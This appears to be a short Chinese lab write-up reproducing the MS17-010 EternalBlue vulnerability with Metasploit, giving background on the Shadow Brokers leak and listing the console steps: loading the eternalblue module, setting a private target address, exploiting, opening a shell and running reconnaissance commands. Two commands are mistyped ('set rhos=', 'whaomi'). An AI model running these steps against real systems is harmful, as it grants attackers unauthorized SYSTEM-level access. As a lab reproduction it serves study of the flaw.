文章目录
介绍
- 介绍
- 漏洞环境
- 漏洞复现
- 第一步 查找漏洞相关模块
- 第二步 查看需要配置的参数
- 第三步 设置参数,并开启
- 第四步 查看连接
- 摘抄
- MS08-067漏洞爆发之后不到10年之际,2017年4月14日晚,黑客团体 Shadow brokers(影子经纪人)公布了一大批网络攻击工具,其中就包含“永恒之蓝”工具,
- 它利用 Windows系统的SMB漏洞(ms17010)可以获取系统最高权限。
- 其中乌克兰、俄罗斯、西班牙、法国、英国等多地均遭遇到黑客利用“永恒之蓝”工具进行的袭击
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhos=192.168.232.203
exploit
shell
chcp 65001
whaomi
ipconfig
总有些惊奇的机遇,
比方说当我遇见你,
你那双温柔剔透的眼睛,
出现在我梦里。 – 《小宇》